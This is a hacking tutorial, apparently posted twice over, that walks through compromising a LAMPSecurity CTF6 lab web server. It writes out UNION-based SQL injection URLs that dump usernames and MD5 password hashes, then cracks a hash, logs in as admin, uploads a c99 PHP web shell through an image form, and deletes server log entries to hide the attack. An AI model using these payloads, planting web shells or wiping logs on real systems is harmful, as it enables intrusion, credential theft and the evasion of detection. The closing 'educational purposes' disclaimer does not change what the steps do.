Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZFLoxEH4Unj7cbSskmvSBYOpwvirPmgFfJoWHuoB3Qjh1uikgifNhSrIBe3hQne3zatvps4_AZMFEXHBn0z4oMiPLou3LNj1nR0Wvb2LJnQ_dbg-cNCLQJFP-2F1XfOI0VCC0aGso-WMKuqC_t21UpBB_bXSQcEPWhDMmw9CrsUq1=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sn_yqaN5-YdV0DJy8Pj1tiFzDUBM5jaCIBG5oH3XcZzVs0pzME0jQ_pZ-uaJykChQu35QaqQLPhvqD4Ewp3t0OoHCoOBCSsRttsozergX6SuCFodnoQw_oHl0qaX9VG_pmb2Lu0xWsbjc7O6w8zSVl7P1eUuDMMC3v3Xqlm2GeVPCyjg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sUWGhUXwKuxD4vb4sDop8hVKp4AQKo44PoeA8lNxQ6t97LHrbMY7gNcGu-KLcuP0wZFmV7JjSAyTGMPW3hESIKsi4aEaqyGnhRyqPjGaHIsQhmHujp6JNOlh2jtdADbdMV4uipZpNn-13_erNZ8ElCnEiwr0c1xb-FSELHghpWN27EUA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u0FBNL99JPncaXJMFQtcCBCAObQP7Ps_1XfWGPJ63NJKID3iUmOYGXQpKI42pPMOMR0h-ziDNDt3BOuhj7CBGPp_x_YOdb0_2VO3Z_UcehqB5HqM51I_NUBdFVi9eeZQqtUYRjHPHuAmeQo1DPspd4FsYTwDaUvlVFGQ6vjW1Tu8v84A=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t7AK0voKwIiSYx9zqFtUl4Soi36cOwx1T-N--w6uXk9aTN9zt1RrqvNqOHk3eZvWX_7QzU_gv7k3yU1iIrodazpJ59QTPocg5fUoWUJDV0XPEFw80FM478OPJ9ZGXZ158WSmtUXXqSWS5YKESWhop6ELjTrJ8AQJRdzK054aQ_V3VsGw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uERIq3qLDeD0jCyMKH6brlzEzakcjJz1OuoXK5_s89w32MfuSJr6trlKzBpdTx5BUOECzykR4KPe2KQNZ3CDI_0ncftQ80s2YOmZPZ_E63Lc0VcOzG4ZhepClBr3Lt47Q2nhfpT7hlp8T8J--DJ9Hf_JD7CcR3fCfCR-KYVgmf16QL=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJktwFZ2qJ4EBCgsLxGTwZplu85O3nQF6waVrinht_vYH862V07A9Eehrgf19BzVJs6JVj-4VDE_Ez1Z60DploSBtIfaQJuAsvXI3lKRLQwNuMxyjQnmlQQfsuAZmUXf0or9JYpG_iokF46a7ZVTJS3coNOwqHKm8A9prRxXwrxyaLAlo=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6292E_wRFAo9yups79JOoE_OUYPKVKU-3JL4-QvnqmKP50N3B2M3vqDKIdrsBQ2cBFVMLtTuMXgQz9fjjgkJRvY91TpsPPj_h-gfMBk2M66fiGe5c83Y7YxLtnaTkFM62weuF_7uc7mbFch0MGcIY9M0urfNtLuy-8LG-b_nX2HDUoHc=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZoPmg1wi2W8ga6pv8OtyupsYOrxwoXhDYxQvQd7sM_4Nw_WzpN0h09EfRS0F87HlBIaIJXM717la3XNDizurEjOVaSftXN9gIWOWIAKovaTY0P1wCLj85LTUeKbfalDt_H1TsiNSuoBJlE2nPwKfl6kidlxjrpMQQQmRaRbIX7I8X0SA=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ue4VlvSqWdaySdU8uMBQsoHzJdPWRzrVg4qV4W5iQj067sOd0g3vtz3aaEKoAVGYLGzzX9BR3zXgBkbKGQ0H9OE10jgc0eGE8B5LHL-KjJH-RJtICxJi29sq_b0BsdsqGd0Rf7gevJ45URuMuWNDLFOarycgOtLGSVl1KJ0lqbNr-tlXI=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sduCHb3cfVkrDxYYNA23IefHjPczoJDQuFljlfCBS6TLzXC8mNu-fJk-S7IRp6jwlulbYkqra3ZckNg0MEgDzGIxXvedjFKwKP4GQYj994z9Ru6Btfh5fE1u9FKxM_rvGP088HW1M4HAKLV0bvpFd-lTp2_t_KxmMxU8qNTmBYd93S5Q=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sP4QoRgr9x0KpMDkMFTDtjIGte9OVlTjmgh2iwlUstL-DZzJjM_fFu8AMn0mqSCG_R94JdadR2Z5W_32UleNXoM4GgSLyEpd5PhIx8PdHrmZgmIFV2-pB2OoFhuDNJUR7oTBTXIhhMFpXOV6gZxv4jubW16L4rk5TfjzdA4ypkT3x3p9U=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjUu3rUq-C8Nq6WDLPauHnZrKt0N5hCiWnfwpGbNkcne3GPX9rKHrjU6YEaBKU87tbwZvTpuSWo0Xg1KRo7hFI2SVMuDwx_v8mXTrx0a85cegiNkpd5FwFhcJiOmgiwqcVLM5p9wNUjx5-L5SXOukwkOrwdtiXtx7gggtxVCoom_HWk7A=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t55zGRMWsLcuk5fWwMUvoflwvjqPCbAYOkmZDYKj2oddpvtJDOQHkrlzf6FiPPyGyg8hek7ph7DunorV_a94LjoGLGYzGeOq8Wy-wD565Qq_XyqMEz8LzZ0XjQZhM2f8n1crIa-Jn1TsatghnoCvvaP9ehuNDEL_WlObFur66KTL0jFg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vN_gUSGDwKQd_VCk5nj6YH0WETrgCRwXhEADmTTIP8y-sqLW-cEw2Ad-C8nrANqGsf-zUMzqpfgwjKNhQ-JmmDjGykidcV1jR_akVVr9clT4WR8ECDfZKA8MB9aC3Wf8ENjJMF0KTXgTtcRNIqlPcCBpz0Byj5AI6E6hNZ3ync9-9Gug=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uc2PeDOZx7BlZLriySGZRD_lTPcoeX4fN0dDmoXWUVYLE2v8B20ajN0H5nGUyAE-3jUCrj3fkwzXcYlcwEVc8RmlLubk_PoxjWnXXuwKlbjOjSO0ckrltc9H0N22YVX9gzqNzi9dA2CHDRJGpREYErR2u369CE-dRwQU4UdCeGW40DvCM=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6x1gKOhvxkEkrLrzV94DD_Pgdn9oRQr_HbpFdgB90dDrRSGHBjKDjIU21WWmEnPxCCCuFTZ8PAqHmvi5ORC-jx2vPaf8eRgdWy1mHYAMNDCdWXFhf8ysyo06jNV3Ro-Cq5Y6nqiux80Hw9_ft1hWQt3eM7xV1vLerMzb-ibllGeoBDi8=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
